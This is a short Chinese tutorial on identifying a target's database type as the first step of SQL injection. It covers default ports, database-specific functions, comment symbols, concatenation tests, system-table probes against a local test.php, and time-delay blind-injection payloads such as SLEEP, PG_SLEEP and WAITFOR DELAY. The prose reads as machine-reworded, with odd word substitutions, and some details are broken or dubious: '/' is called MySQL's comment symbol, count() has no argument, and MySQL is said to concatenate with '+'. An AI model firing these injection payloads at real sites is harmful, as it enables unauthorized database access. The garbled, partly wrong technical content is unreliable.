在进行SQL注入之前,首先该当判断数据库的类型,不同的数据库在处理一些函数的时候会有一些奇妙的差别,只有判断出是哪种数据库类型,这样才能根据数据库的类型选择得当的函数,更随意马虎实现SQL注入。
asp:SQL Server,Access.net:SQL Serverphp:MySQL,PostgreSQLjava:Oracle,MySQL
#根据端口判断
Oracle:默认端口 1521SQL Server:默认端口 1433MySQL:默认端口 3306
#根据数据库特有函数来判断#len和length
len():SQL Server 、MySQL以及db2返回长度的函数。length():Oracle和INFORMIX返回长度的函数。
#version和@@version
version():MySQL查询版本信息的函数@@version:MySQL和SQL Server查询版本信息的函数
#substring和substr
MySQL两个函数都可以利用Oracle只可调用substrSQL Server只可调用substring
#根据分外符号进行判断
/ 是MySQL数据库的注释符-- 是Oracle和SQL Server支持的注释符; 是子句查询标识符,Oracle不支持多行查询,若返回缺点,则解释可能是Oracle数据库# 是MySQL中的注释符,返回缺点则解释可能不是MySQL,其余也支持-- 和//
#根据数据库对字符串的处理办法判断#MySQL
http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab' http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'
#Oracle
http://127.0.0.1/test.php?id=1 and 'a'||'b'='ab'http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'
#SQL Server
http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab'
#根据数据库特有的数据表来判断#MySQL(version>5.0)
http://127.0.0.1/test.php?id=1 and (select count() from information_schema.TABLES)>0 and 1=1
#Oracle
http://127.0.0.1/test.php?id=1 and (select count() from sys.user_tables)>0 and 1=1
#SQL Server
http://127.0.0.1/test.php?id=1 and (select count() from sysobjects)>0 and 1=1
#根据盲注特殊函数判断#MySQL
BENCHMARK(1000000,ENCODE('QWE','ASD'))SLEEP(5)
#PostgreSQL
PG_SLEEP(5)GENERATE_SERIES(1,1000000)
#SQL Server
WAITFOR DELAY '0:0:5'
